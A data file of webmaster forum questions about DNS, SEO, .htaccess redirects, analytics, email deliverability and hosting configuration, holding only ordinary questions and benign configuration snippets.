{"id":"67464","title":"Rich snippet errors in Google's Structured Data Testing Tool for category pages","text":"I'm receiving the following errors in Google's Structured Data Testing Tool:  It seems like the page for the category \"galeria\" does not contain these fields. There are also some more errors like this (all with categories links). The strange thing is that the first category doesn't show those errors. Anyway, I added the \"entry-title\" fields: <section class=\"content\"> <div class=\"page-title pad group\"> <h1 class=\"entry-title\"><i class=\"fa fa-folder-open\"><\/i>Categoría <span>Biología<\/span><\/h1> <\/div> ... <\/section> but the error is still there. Also, \"author\" and \"update\" doesn't seem to make sense here (categories), so should those messages be ignored? **Update:** Here is a link to Google's Structured Data Testing Tool for the page to demonstrate this, and to view the HTML code by clicking on the HTML tab."}
{"id":"25809","title":"what's a good jquery-based content slider?","text":"I've searched around there's so many but none seems to fit the requirements. so here is what i'm looking for: - needs to be lightweight (10+kb of JS just to slide images around is an overkill in my opinion and this is where most of the sliders fail at) - not many effects are needed, simple slide or fade will do - possible CSS3 support with fallback to jquery.animate would be a plus. - it should let you put links on the images without having to use a caption I tried nivoslider its too heavy, flexslider is 11kb minified javascript, anythingslider is 15kb minified, orbit is now part of foundation and the latest version is also too big."}
{"id":"39297","title":"Nameservers and DNS - Appropriate Steps to Move to A VPS?","text":"I bought a VPS and I am trying to transfer my domain over to the new server, I took two steps so far, but I don't think I did it quite right as its been 24 hours and most all DNS check sites still indicate errors with my name-servers. Here is what I have done so far, * Made new nameservers in my namecheap account * (`ns1.domain.com`) and (`ns2.domain.com`) with the same IP as my VPS only has one IP. * Then I went in and changed the name servers for the domain itself to the newly made name-servers. Is there any more to be done? The VPS does not have cPanel, and this is my first time setting up LAMP, and dealing straight from the command line for everything without the help of WHM or cPanel. Thanks everyone, necro."}
{"id":"25804","title":"How can I determine why my site loads slowly in Google Chrome?","text":"My site seems to be making my Google Chrome hang. I assume it has something to do with javascript. Is it just my personal computers chrome or everyones chrome? http:\/\/blog.blundell-apps.com It work's in my Firefox, it used to work in my chrome. I was wondering if it was just my GChrome or everyones. Apart from just asking you now. Is there any automated ways for me to check this? If it is working for you could you say so. Then what would you think the issue is in my browser? If it's not working for you, could you recommend how I would go about debugging it since I can't load it in chrome, I can't load firebug."}
{"id":"12446","title":"How to check on the 99.99% Up time Guarantee?","text":"I subscribed to a Virtual Private Server (VPS) which promises 99.99% of up time guarantee. But I often encounter down time, slow access time and I'm thinking about how to \"get them\". Is there anyway\/ service that allows me to prove that the web hosting provider isn't delivering the 99.99% up time guarantee?"}
{"id":"67610","title":"Google can't recognize Schema.org image property from Product","text":"How can I use `itemprop=\"image\"` from http:\/\/schema.org\/Product so Google can recognize it in this case? <a href=\"#\" itemprop=\"image\" data-remote=\"images\/portfolio\/image.jpg\" class=\"portfolio-box\" data-toggle=\"lightbox\" data-gallery=\"multiimages\" data-title=\"image\"><\/a>"}
{"id":"43887","title":"Awstats IIS Log configuration fields extended","text":"Good Day: We are _implementing_ AwStat in our IIS Servers and after reading the documentation and browsing some googled results, we still have questions... so where's the best site for asking them? hehe :) * _IIS Log configuration_. Awstat is very specific in what you must \"check\" and what not to check, **but it gives no reason for that**... will it work correctly with more fields? * If we configure both _sc-bytes_ and _cs-bytes_... Will it duplicate the info? I think both fields are useful. * The same server redirect by Tomcat Conector to three different contents (\/blabla \/blablo2 \/bleble)... ¿What will you do to get different statics of them? Awtstats can't filter by 'cs-uri-stem' filter... Thanks in advance."}
{"id":"42591","title":"Need Help With H1 Tags for Product Sub-pages","text":"The site I'm currently building will feature a range of products for the organization it represents. Each product will have a main landing page and a series of sub-pages for \"About\", \"Pricing\", \"Contact\", etc. I'm a bit confused on the best way to handle the `h1` tags for these pages. Each page will have the organization's logo as an image at the top. For the landing page of each product I was planning on `<h1>Product Name<\/h1>`However, on the sub-pages, I'd still like to retain the title of the product.... Would it be acceptable to use `<h1>Product Name — About<\/h1>`, `<h1>Product Name – Pricing<\/h1>`? Is there a better way to do this?"}
{"id":"23318","title":"Web crawler tool that generate a list of all the anchors used on a site","text":"I'm looking for a web crawler tool that'll go through all the anchor text on a whole web site and generate a list for me to check. I want to make sure all the anchors are really descriptive outside the context. I don't care if it's web based or a desktop based software."}
{"id":"23312","title":"Need assistance matching a general theme style as well as eCommerce capability","text":"I'm in the process of acquiring a new design client. They are getting into the business of \"auto parts wholesaling\" and they want a storefront. My preference is\/was to create something from scratch. However, here is an established trend in their particular market (similar parts, layout, etc). They _insist_ on following the existing visual trend, as per the following: http:\/\/www.xtremediesel.com\/ http:\/\/www.thoroughbreddiesel.com\/ http:\/\/www.alligatorperformance.com\/ My plan of attack at this point is to find a comparable WP theme and a flexible (but useful) backend\/product management. Their current demo site (which their previous developer made a stab at) is using Pinnacle Cart. It is no where near what they need, nor is it intuitive to work with. I was actually considering Magento for its greater abilities but I'm still considering options. That said, my two primary dilemmas are as follows: 1) I need a theme that mimics the general style of those listed. They explicitly said they didn't want anything too clean (e.g. ThemeForest, Woothemes) as it \"wasn't rugged or busy looking enough\" for their field. 2) I need a WP\/Magento\/WP e-Commerce (or any one of a host of other) plugin that will allow for bulk import\/update of nearly 200,000 products, descriptions and images. I'm not opposed to manually interfacing with the DB for import, but in the end, I need a store\/system that doesn't needlessly add 50 tables to accommodate some \"wet behind the ears\" concept of table normalization and is easy to add to. Anyway, if anyone has any quality suggestions regarding either of these issues, it would be most appreciated. Best."}
{"id":"42592","title":"Are there best practices for preparing users for the launch of a revised web site?","text":"We were contracted to revise and modernize a static web site that is very active in terms of adding content but had not been significantly reorganized since the mid-2000's. We are migrating them to a CMS and adding a ton of new functionality, reorganizing the content, etc. However, we are concerned that just throwing the new site out there upon approval from the client will be a bit shocking to their user base and may generate a fair amount of backlash and complaining on social media which we would like to limit\/avoid. Are there any best practices to guide us in preparing the users to \"get over it\" or otherwise mitigate hostility to something new?"}
{"id":"59203","title":"CloudFlare blocking NVD3 Chart on my website","text":"I have installed NVD3 Chart on my website today only and now I find that CloudFlare blocks it so the site hangs till continuously. I am sure that this is an issue with CloudFlare because when I access my website by visiting the direct IP of the server I am able to use everything, but when I visit it via the domain name and hover over the graph, the browser hangs."}
{"id":"15232","title":"Any free web analytics\/tracking services without JavaScript?","text":"Is there any free web analytics\/tracking service that can work without JavaScript on client side?"}
{"id":"7427","title":"What is domain \"masking\" or \"cloaking\"? Why should it be avoided for a new web site?","text":"What exactly is the domain name \"masking\" or \"cloaking\" offered by some hosting companies, (as opposed to redirection), and what are the various reasons it should be avoided when setting up a new web site \"on the cheap\"?"}
{"id":"54492","title":"Lost traffic from Google because of meta-tag adding","text":"I have a site aroundnails.com. It has English version on subdomain `en.aroundnails.com`. Reading about language related meta-tags for Google, I have placed such a meta tag on the main page of main site: <link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/en.aroundnails.com\/\" \/> By this way I have tried to say Google, that my site on `en.aroundnails.com` is the english version of main site, not a duplicate. After two days I have lost a huge part of traffic from Google, more than a half.  At the beginning of september I have moved this meta-tag, but traffic remained at the same level. Hope somebody can help me to solve this issue."}
{"id":"8804","title":"Where is the best place to buy domain names and how much should I pay?","text":"> **Possible Duplicate:** > New Domain Registration - Price differences I want to buy a domain name. I plan to set up my own A, NS, and MX records using Slicehost. So I guess I just need the cheapest place, right? How much I should be paying for .com or .org?"}
{"id":"18558","title":"Is 66,200 results in google good for a start up content based website","text":"Is 66,200 results in google good for a start up QnA content based website."}
{"id":"69094","title":"I have a domain and hosting service, how do I make a website?","text":"I just got a domain and hosting service. What is the kind of program I need to make a website to upload it to the hosting server? I tried to Google it, but all of the results were about using X hosting service."}
{"id":"54792","title":"Getting rank for keywords that I don't want to appear on my website","text":"One of my products has two names. One of them is what I consider correct and thus it is what I want to appear on my website. The other name is incorrect for me, so I would like to avoid it. But I know that many people will search my product using the \"bad\" name. How could I get the \"bad\" name indexed for my site on search engines even if nobody can read it there? Of course, I want to do it \"legally\" so that no engine will ban my site considering it as cloaking, black hat SEO, etc... EDIT: Having that \"bad\" name on my backlinks is not an option. For example I would perceive user reviews connecting my site to that word as a negative point. Maybe having my site as a search result for that word could be negative as well, but I think it is worth it."}
{"id":"7429","title":"Where do I get the standard, tiny Facebook and Twitter icons?","text":"I've seen a lot of sites with tiny 't' and 'f' logos for Facebook and Twitter. They're pretty common, but the only images I can find available are for paid icon sets. Are people really using custom icons for these or are Facebook and Twitter offering official ones somewhere on their websites?"}
{"id":"16520","title":"clean urls and differences in hosts","text":"I am developing a relatively static website, where I want to be able to access each page without typing .html (or .htm or .xhtml ...) at the end (`\/about` not `\/about.html`). I am developing using the Apache 2.2 server (in OSX). Links like the above work just fine. No monkeying around with `mod_rewrite`, they just work. However, on my actual web host (fatcow.com) this does not work (a link to `\/about` just raises a 404 error). I've called them and they don't seem to know what is going on... or particularly think it is their problem. They are using Apache 2.0. What is going on here and what is the best method for getting around it? I'd prefer a solution that didn't involve adding a `mod_rewrite` entry for each of my pages, but if that is needed how would I do that? For reference, if I do go with a `mod_rewrite` solution it would look like: RewriteEngine On RewriteBase \/ RewriteRule ^about$ \/about.html #and so on, for each page"}
{"id":"48855","title":"Promoting my site on Facebook with my primary account, or create a new account?","text":"I am about to launch my website and I so far have been using my personal account to promote the site in relevant groups etc. If I start to promote the site in a larger geographical area should I be concerned with using my personal account? Should I create a fake account just for this promotion so it's not tied to my personal account? I have created a Facebook Page, but I can't use it to post in relevant FB groups which is where the interested people would be. Thoughts?"}
{"id":"32980","title":"Finding out who owns a Google Analytics UA code","text":"An old client got in touch asking about GA access, but is isn't something we have and the company we believe has it isn't claiming ownership either. Is there a way to contact Google to ask who the owner of a particular UA is? Or anyway to do it without Google? I should mention, we don't want ownership, we just want to track down who has it and point the client in the right direction."}
{"id":"32983","title":"What is a \"Public DNS registered IP address\"?","text":"I've been reading this ICANN agreement on new TLDs and it has this section on DNS service availability, which i don't completely understand: > Refers to the ability of the group of listed-as-authoritative name servers > of a particular domain name (e.g., a TLD), to answer DNS queries from DNS > probes. For the service to be considered available at a particular moment, > at least, two of the delegated name servers registered in the DNS must have > successful results from “DNS tests” to each of their **public-DNS registered > “IP addresses”** to which the name server resolves. If 51% or more of the > DNS testing probes see the service as unavailable during a given time, the > DNS service will be considered unavailable. I'm not 100% sure of the part in bold: does \"public\" refer to the DNS or to the IP addesses? It looks like there's a mistake and that the hyphen should have been after \"DNS\". So basically does it mean \" **the public IP addresses registered in the DNS** \"?"}
{"id":"32989","title":"Why does google crawl my page only once even I set changefreq:daily?","text":"I have built a new site, submitted my homepage URL to Google, and my sitemap(I have about 6,300 pages.). Now when I type `site:mydomain.com`, there have 1,992 pages have crawled. But they were all crawled at Jul 20(The day I sumbitted sitemap). In my sitemap, I set different changefreq and priority for my different page URLs. But I have 3 pages set `changefreq:hourly` and at least 120 pages set `changefreq:daily`, 3,000 pages set `changefreq:weekly` and the rest are `changefreq:monthly`. But why does Google not crawl my pages as I set `changefreq:hourly`, `changefreq:daily`? My site is about news(from Bing api). Community, forum, photo, etc. now are in testing. In `www.google.com\/analytics` every day I get about 15 visitors (most of them are our stuff) And in `www.google.com\/webmasters`, my site now has `58 queries`, `2,500 impressions`. How can I improve Google's crawl frequency?"}
{"id":"6600","title":"If I have a page rank of 5, and I get alot of backlinks from sites with PR 1, will I then decrease in PR?","text":"As the title says, will I? Ex: I have PR 5, and suddenly a thousand sites link to me and they all have just PR 0, 1 or 2, will this cause my PR to drop?"}
{"id":"10442","title":"how is sites such as alexa.com monitor all web wide sites traffic in the internet ?","text":"> **Possible Duplicate:** > alexa and compete Hello, i'm trying to understand idea of traffic monitoring sites such as alexa.com , which can monitor traffic for any site in the internet (although if it not registered account underit and didn't put any code to alexa for help it to monitor this site traffic) ??"}
{"id":"49756","title":"Why are image sprites usually only created for \".png\" files and not \".jpg\"?","text":"I was wondering why when people talk about sprites they only mention `.png` files. Is there any problem in creating sprites for `.jpg` files?"}
{"id":"42522","title":"\"NS1\" and \"NS2\" A records suddenly required?","text":"I have a VPS server that I host several sites on. One of the domain names I use for a site hosted on the VPS is registered through a different company. The site was working fine until this morning when it randomly went down. After hours of talking to my hosting service support, they decided that the problem was I did not have an A record for `NS1` and `NS2` pointing to my name server's ip addresses and they claimed the absence of those `A records` are why the site went down. I have never heard of needing an `A record` for `NS1` and `NS2` before. I am confused as to why the site would work just fine without the `A records` and then suddenly go down when no DNS changes were previously made. Could someone explain this to me?"}
{"id":"42523","title":"Does submitting 'URL and all linked pages' help with new website indexing?","text":"I am aware that sitemaps are one way to provide lists of page URLs to Google bots. However, Google webmaster allows one to fetch a page as Google and to submit the 'URL and all linked pages'. Does this accelerate new website indexing (assuming the fetched page contains links other pages on the site) or not?"}
{"id":"56561","title":"Is gzip compression available for GitHub pages?","text":"I'm using GitHub pages to host my site. While checking Google PageSpeed Insights, it recommends that I enable gzip compression. Since I have a static site hosted on GitHub, I'm not sure that is possible. Is it possible to enable gzip compression on GitHub?"}
{"id":"10852","title":"How to tell whether spammers are bots or humans?","text":"How can you tell if the people that are spamming your forum or website are in fact bots or human spammers? **Please note that the question is not about preventing spammers. It is to _determine if the people that are already spamming_ are bots or humans.**"}
{"id":"39387","title":"Apache Reverse Proxy","text":"I would like to host 2 Joomla! websites on separate machines using XAMPP with Apache. I need to make sure it is configured the correct way but I am not sure if I understand how it is to be written in the config files.(on both PC's) things to be configured as far as I know: * Host file * httpd file to allow proxy * vhost file I have all the basics set up on the \"proxy\" to run multiple websites from the one server. However I want to put one of the websites on a separate server on its own and still be able to run multiple sites from the first. for the sake of example my IP address from the ISP is `12.123.124.12` the internal addresses for each machine: * server1: 192.168.1.146 * server2: 192.168.1.114 I know that I can do this from one machine with Virtual Hosts but I would like to accomplish it with two separate machines..."}
{"id":"59426","title":"Should I use CNAME or A record for Tumblr custom domain in case of .msk.ru TLD?","text":"I'm setting up custom domain for tlog and already have domain name like `<business-name>.msk.ru` Depending on official Tumblr help in case of third+ domain name I should use CNAME DNS record, not A. But it seems like I'm not so good in DNS related things. So... does `.msk.ru` domains counts as third level or not?"}
{"id":"49207","title":"What hosting control panels do major websites use?","text":"I use cPanel for my personal website only because it came standard when I bought the domain name, but recently it came to my attention that there are other control panels available. I was curious as to whether major websites such as Amazon, Google or Facebook use cPanel or whether they have their own method of running their websites?"}
{"id":"28797","title":"How to find out if a soundtrack will be allowed by youtube or not?","text":"Members on my site are uploading lots of videos to youtube. They usually add soundtracks to the videos and it's frustrating for them if the video gets rejected or blocked because of the soundtrack. Is there a way to find out beforehand if the soundtrack will be rejected or blocked?"}
{"id":"10858","title":"DDos Mitigation Services","text":"Any have any experience using these? And what are the pro's and cons? Can you expect a high level of false positives? Are they 100% effective?"}
{"id":"34517","title":"How to track a cronjob running on my site?","text":"I have an old Joomla 1.5 site hosted on a shared Bluehost server. Recently my .htaccess files are being rewritten every 10 minutes, and the site has been black listed. It looks like some php cronjob. What is the procedure to track where the file could be? The cpanel provides no features to track malware or any such. How could I track the source of the problem?"}
{"id":"48722","title":"How to link my content to a Google+ profile using \"rel=author\"?","text":"I googled this question and found the answer from here but in featured Google+ I didn't find the options that are mentioned in the above URL. I need my Google+ profile should be resulted in Google result for my keyword. How I can connect my Google+ profile and my website?"}
{"id":"63587","title":"Single paging Meta Tag Duplication","text":"How to make Google understand about single paging content issue ? A single page has got above 100 paging ? 1-10 of 199 Go to Page 12345678910 ... like this as mentioned above, Do I need to put fresh meta tag on each page ??? Help me out from this issue ?"}
{"id":"60954","title":"Does remote mysql work directly to users?","text":"Recently I started moving my MySql to a remote server to offload the load and bandwith. I thought that when a users connect to the site, the MySql data would be transfer directly to the users, but apparently it does not. My bandwith graph spike to 50Mbps extra from the MySql server keep repeatably hitting my server, I assume that the MySql server first transfer back to main site then transfer data to users. Why does it do this or am I just doing it wrong? Is this how remote MySql work? Any help is greatly appreciated. Thanks."}
{"id":"60951","title":"How can I find out what pages of my site are not indexed by Googlebot?","text":"Google Webmasters Tools show that one of pages of my site isn't indexed (it was added to the sitemap about 2 weeks ago). How can I find out what page it is?"}
{"id":"55410","title":"Redirect link of old webpage to new webpage in Joomla 2.5","text":"I have modified my website `www.vidyaniketan.in`. It is a Joomla 2.5 site. When I search for it in Google by URL, there are several sub-links displayed (e.g., \"ABOUT US\"). this links to the old webpage. How do I link it to new webpage? I tried following code in my _.htaccess_ file: Redirect 301 \/about_us.html http:\/\/www.vidyaniketan.in\/index.php?option=com_content&view=article&id=71&Itemid=468 but unfortunately it's not working."}
{"id":"19535","title":"Why do some hosting companies restrict the allowed characters in DB names?","text":"GoDaddy allows nothing but letters and numbers in database names. Other hosting companies have similar restrictions. Could there be any technical motivation behind this?"}
{"id":"58492","title":"Google Analytics : Is tracking status instantaneous?","text":"I'm currently trying to setup tracking at my website. I'm trying to determine whether my tracking is actually working. It says Tracking not detected on the Google Analytics page. However, when I go to the Realtime reporting, it actually says 1 visitor detected and when I log in in another incognito window, it says 2 visitors. So I feel it's actually working. Just wondering is the status instanteous? I just want to know whether it's actually working."}
{"id":"63603","title":"How to package web site configuration for distribution","text":"Is there a way, preferably PowerShell based, to extract all the configuration data for a particular web site, for installing that web site on site at clients?"}
{"id":"32182","title":"Bounced emails with email on Google Apps for Business","text":"I use Google Apps for Business. I have things set so I can login at gmail.com using richard(at)wordfruit.com as my login name, and when I send mail it sends from richard(at)wordfruit.com I've had a couple of people tell me that emails bounced. From lots of other people I've received emails fine. People who got bounced emails have contacted me through a contact form on wordfruit.com -- messages through that form get delivered to richard(at)wordfruit.com (the same email that those people got bounces with). One person who got a bounce tried emailing me again later and got a bounce again. Both times, that person was able to contact me through the online form. Where should I look to solve this? Or how can I solve it? Here's a message that one person got: Message: Delivery to the following recipient failed permanently: Richard(at)wordfruit.com Technical details of permanent failure: Google tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 535 535 Incorrect authentication data (SMTP AUTH failed with the remote server) (state 7)."}
{"id":"26281","title":"Will changing from www to non-www version affect my rankings?","text":"I currently force www. and also specify that in Google Webmaster Tools. I know it's recommended to just pick on or the other, and to not use both. But if I change everything to not have www, and I force that in the server configs, and I change it in Webmaster Tools, will it still have an effect on my rankings?"}
{"id":"22043","title":"Can I display ads on a site whose domain name includes a trademark?","text":"I own a domain containing a trademarked word. I don't want to get into trouble with the trademark owner so my plan is to use the domain to display information (wiki-style) about the service the trademark owner provides. My question is whether I can display ads on this website to make money. For example, let's say I own Google.org (Google being a trademark). On this domain I would write about the real Google (history, business etc.) Can I get into trouble for having ads on this page including ones that promote other search engines (Yahoo, Bing, etc.)."}
{"id":"65721","title":"Is it possible for a website to determine whether the user is browsing through a transparent proxy?","text":"I'm currently browsing through a local transparent proxy. I'm receiving 404 responses from a couple of web hosts, although the proxy works perfectly with everything else; I was wondering whether it could be the websites recognizing and blocking the proxy user. Is this a possibility or is there something wrong with the proxy?"}
{"id":"68995","title":"Google Analytics (Universal): Search Term Exclusions","text":"Having recently migrated to the Universal Analytics version of Google Analytics I now am able to use the Search Term Exclusions feature to divert organic branded search to the 'direct' channel instead of organic search. Their documentation is ambiguous about whether this includes the portion of branded search that is in the (not provided) category. Given that both Google Search and Google Analytics potentially can access each other's data, it's plausible that they can divert all the branded search coming from Google properties into Direct. **Q: Does anybody know either way if the branded search traffic that is in the (not provided) pot is diverted to Direct using the Search Term Exclusion feature?** I know why these terms are (not provided), and I also know that Google Search knows what the keyword data is, so it is technically entirely possible for them to do this. I just don't know if they do. Anyone done it and seen a chunk of their (not provided) search go down and their Direct go up? **Thanks**."}
{"id":"20068","title":"Do I need robots.txt?","text":"I want to allow all bots to crawl everything, do I need to create a robots.txt? If the file is missing will it have a negative influence on some crawlers? If I need to create it, what should it look like?"}
{"id":"26201","title":"Canonical reference for rel=\"foo\"","text":"The answers to a lot of google-juice questions seem to involve the use of _rel=_ in _a_ tags (eg rel=\"canonical\"). Is there an exhaustive list somewhere of all of the possible options for this tag and what they mean? I found this from W3 schools, but it doesn't have _canonical_ on it and I'm wondering what else it's missing."}
{"id":"68220","title":"Facebook likes reset after moving to HTTPS","text":"I've got a question regarding the Facebook _like_ button. We worked on a piece recently that embeds a number of social share buttons (please see the source code below). When the piece was released, it was on HTTP, and received over 2k _likes_ (the URL 'slug' hasn't changed at all). The site was recently migrated to permanent-on HTTPS, and the _like_ data has been reset, and we've been left with 50 new, recent _likes_. If you see in the source code, the URL is set explicitly to like the HTTP version, which I believe to be correct. Can anyone help me work out what's happened here? Here's the HTML bit of the _like_ button: <div class=\"fb-like\" data-href=\"http:\/\/www.harveywatersofteners.co.uk\/history-interior-design\" data-layout=\"box_count\" data-action=\"like\" data-show-faces=\"false\" data-share=\"false\"><\/div>"}
{"id":"43381","title":"Apache Server - Wrong Certificate","text":"At work we are moving a website from \"outside\" to \"inside\". Standard LAMP website (Apache, MySQL, PHP). The issue I'm having is that it's serving up the wrong certificate. https:\/intranet - on my computer, and some other computers, it's serving up the SSL for intranet like it should... On other computers it's serving up the certificate for https:\/intranettest instead. HTTPS:\/intranet\/ put in browser, yet Apache is serving the wrong certificate. I'm at a loss for \"how\" it's serving the wrong certificate for some websites, and not others (more wrong than right)... If it hits the server, the DNS switch has occured like it should, so they are arriving at the \"New\" server instead of the \"old\". I hope I'm asking this right."}
{"id":"43388","title":"Am I legally required to remove all data associated with a customer (UK)?","text":"A customer has asked that we remove all our stored information from our database. From a moral standpoint, we have no problem with this, but simply deleting all the data will leave us with orders that have no record of who placed them, for example. We use this data extensively for reporting and administration purposes. Do we have to, by law, remove all personal information identifying this customer? Our company is UK-based."}
{"id":"2357","title":"FTP: 550 Permissions Denied","text":"I'm attempting to upload files to my remote server via FTP, but I continually get blocked from uploading files with \"550 Permissions Denied\". The strange part is that it worked at first perfectly, an only now has it stopped working. The user I am logged into has the proper privileges, but I still can't upload.   Any help?"}
{"id":"2355","title":"301 redirect behavior in a drupal system","text":"I am migrating an older site to a newer one which is using drupal. As part of this I am trying to setup some 301 redirects to the new pages but I am getting some unexpected behavior. I added the following line to my .htaccess file: redirect 301 \/redirect.html http:\/\/www.mysite.com\/newpage Unfortunately, what happens is that I get taken to: http:\/\/www.mysite.com\/newpage?q=redirect.html Which of course doesn't load correctly. Any thoughts?"}
{"id":"58490","title":"SEO changing main domain in Google Search results?","text":"At the moment there is 3 domains pointing to same server for content, and of course their have the `canonical` URL set to tell Google about the duplicate content, but the questions is, if we take into consideration the follow: * url_1 - `something.se` * url_2 - `somethingelse.com` * url_3 - `something-notcool.com` Right now if I Google something something for example it will go to `something.se`, but I want to tell Google to use `somethingelse.com` instead. So, how can I do that? I tried with 301 redirects, but it end up in infinity loop when the person loaded `somethingelse.com`..."}
{"id":"21966","title":"Difference between mail. and pop. & smtp.?","text":"When hosting a website I often notice that all of the following are defined under DNS: * POP = mail.example.com * SMTP = mail.example.com versus * POP = pop.example.com * SMTP = smtp.example.com Is it wise to use \"mail.example.com\" for both POP and SMTP when configuring a mail client? What is the difference between each of the two approaches? It seems to work fine (sends and receives mail as expected)."}
{"id":"49658","title":"Is Google search site:yoursite.com result count a good indicator of Google's indexing and does it really mean anything in SEO terms?","text":"I'm not sure this is the best stack site for this question. But it does have to do with Google search functionality so I think it is justifiable to ask here. If I'm wrong, please let me know. My boss likes to check site:yoursite.com almost daily and see the number of results. He thinks it is good when there is a higher number. The weirdest thing is that the number fluctuates wildly. One day it will be 37,000, and the next day it will be 300,000. I've even tried it from two different locations at the same exact time and gotten the same discrepancy. Why would the same site: search return different numbers of results from two different locations or two different times when the site has changed very little if at all? Is the site: result count really a good indicator of how well-indexed your site is by Google? When it's high, does it indicate that you're doing a good job of SEO? I know that that last question is rather silly, but any kind of answer connecting site: to SEO would help. I don't think the number matters much but I need evidence to convince my boss he's barking up the wrong tree."}
{"id":"9303","title":"How do i show visitor count in my page?","text":"I am using google analytics for tracking the visitors on my website. I can view all the stat reports from my google login. I am wondering if i could place the visitor summary stat in my home page of my website. Can i show the reports of google analytics on my site's home page?"}
{"id":"42381","title":"How to setup up .htaccess rewrites for http and https on the same site?","text":"I'm having some issues with _htaccess_ rewrites i need to redirect different parts of my site to HTTPS rather than HTTP, for example login and news sections. I'm not sure how to go about doing this in the correct manner. So at the moment I have RewriteRule ^login\/?$ index.php?p=login [R,L] I would like to redirect this to HTTPS, I have tried the following: RewriteRule ^login\/?$ https:\/\/%{SERVER_NAME}\/index.php?p=login [R,L] but it doesn't seem to work. Am I missing something? I have rewrite on and all other settings as they work. Also is there anyway to get _htaccess_ to use a different set of rules if HTTPS is set to when it is not? Update: So what I want to do is rewrite `http:\/\/www.site.tld\/login\/` rewrite to `https:\/\/www.site.tld\/login\/code` and then further rewrite to `https:\/\/www.site.tld\/index.php?p=login`. So the user sees: `https:\/\/www.site.tld\/login\/` but it is actually doing `https:\/\/www.site.tld\/index.php?p=login`"}
{"id":"65164","title":"SpamAssassin penalising DK Signed","text":"I am checking an email for spam via isnotspam.com, in the results I'm receiving the following messages: ---------------------------------------------------------- DomainKeys check details: ---------------------------------------------------------- Result: neutral (message not signed) ID(s) verified: header.From=production@studionec.com Selector= domain= DomainKeys DNS Record= ---------------------------------------------------------- DKIM check details: ---------------------------------------------------------- Result: pass ID(s) verified: header.From=production@studionec.com Selector=mandrill domain=mail2.wdc04.mandrillapp.com DomainKeys DNS Record=mandrill._domainkey.mail2.wdc04.mandrillapp.com In the SpamAssassin results it shows the following: * 3.5 BAYES_99 BODY: Bayes spam probability is 99 to 100% * [score: 1.0000] * -0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http:\/\/www.dnswl.org\/, no * trust * [205.201.139.2 listed in list.dnswl.org] * -0.0 SPF_HELO_PASS SPF: HELO matches SPF record * -0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay * domain * -0.0 SPF_PASS SPF: sender matches SPF record * 1.0 DK_SIGNED DK_SIGNED * 0.2 BAYES_999 BODY: Bayes spam probability is 99.9 to 100% * [score: 1.0000] * 0.1 HTML_MESSAGE BODY: HTML included in message * 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily * valid * -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature * 0.0 T_FILL_THIS_FORM_SHORT Fill in a short form with personal * information X-Spam-Status: Yes, hits=4.8 required=-20.0 tests=BAYES_99,BAYES_999, DKIM_SIGNED,DKIM_VALID,DK_SIGNED,HTML_MESSAGE,RCVD_IN_DNSWL_NONE, SPF_HELO_PASS,SPF_PASS,T_FILL_THIS_FORM_SHORT,T_RP_MATCHES_RCVD autolearn=no version=3.3.1 X-Spam-Score: 4.8 DK_SIGNED is presumably DomainKeys or DKIM, and it's giving a + 1.0 to the spam score, why is this happening and is there a way of stopping it? I looked up DomainKeys and found the following listed in Wikipedia so is this a bug or poor configuration on my end? > Both DomainKeys and DKIM were published in May 2007. DomainKeys was issued > as a \"historical\" protocol and DKIM was issued as its standards-track > replacement."}
{"id":"17692","title":"Change domain name for existing site, what is the easiest and cheapest way?","text":"Suppose I have an existing site and I want to change the domain name without changing hosting. I could set up a 301 redirect from the new site to the old site, but that doesn't actually change the name, it just redirects. I could set up new hosting and actually move the site to the new host with a 301 redirect from old to new, but that means paying for new hosting which I'd like to avoid since I don't actually need two sites running. What other options do I have?"}
{"id":"17694","title":"Forwarding www.example.com\/abc to abc.example.com","text":"I have a web directory that can be accessed via either http:\/\/www.example.com\/abc or http:\/\/abc.example.com. Same physical directory, same contents, just different addresses. I want to redirect to abc.example.com if it is accessed via www.example.com\/abc. Can I do it by a simple PHP script? The `index.php` will be the contents for either address anyway."}
{"id":"17695","title":"Is heading (h1, h2, h3...) font size relevant for SEO?","text":"One of our client's SEO agencies has recently began sending a lot of \"shady\" requests about what should be changed on our client's web site in order to comply to best SEO practices. We suspect their attempt to simply justify additional costs however since its one of our most important clients we can't simply ignore any of the requests based just on our previous experience and without solid evidence to confirm otherwise. The last request we got was to change all headings (`h1, h2, h3...`) font size values in a way that will follow the header hierarchy (`h1` has to be bigger than `h2`, `h2` has to be bigger than `h3` etc.) because the current web layout has a slightly bigger `font-size` value for `h2` than `h1`. This font size permutation was done for pure aesthetic reasons by the agency responsible for designing the new web site and our client fully agrees that it was a good choice. However since SEO is also very important to our client everything that comes from the SEO agency has to be taken very seriously. h1 { font-size: 1.1em; } h2 { font-size: 1.2em; } My question: **is it bad for SEO if`h2` has a greater value of font-size than `h1`?** Every resource we came across claims otherwise supporting our long-year experience that its only important to create a good heading hierarchy to represent the importance of various page parts, which is of course done properly. We would appreciate any professional insight in this matter and every resource or link is highly appreciated. **EDIT:** I see now that this question was migrated from stackoverflow.com to this website so I apologize if this is a duplicate question however I didn't even know that this website was part of the Stackexchange network. Any info on this subject is still highly appreciated :)"}
{"id":"56383","title":"Prevent Google from listing hotlinked images for other sites","text":"I am hosting several domains on my server and hotlink images accross various domains. However, I have found out that in Google searches, the images are listed as originating on the site where the image is _displayed_ (but not hosted!). This can lead to various problems (like the owner of the site losing traffic). Space is an issue on some of the domains, so storing the images for every domain separately is no option. Is there a way to instruct Google to display images only with the sites the images are actually stored on (and prevent that wit hthe others only hotlinking)?"}
{"id":"51816","title":"Serving proper 404\/410 error codes on dynamic database driven site","text":"a developer I'm working with is having a difficult time serving 404 errors on dynamically generated pages (they get created when the request is made by querying the database to see if the content exists) He has told me (paraphrasing) that it's too late to serve the error because the page has already started loading by the time it finds out if the page exists or not. I'm not really sure how to respond not knowing much about how PHP or apache work Has anyone else run into this sort of issue and if so, how could I resolve it and start serving proper 404 or 410 errors on this removed content? Currently requests are being redirected (not sure if 302 or 301 at the moment) to our 404.php page. Is this an acceptable alternative? Thanks :)"}
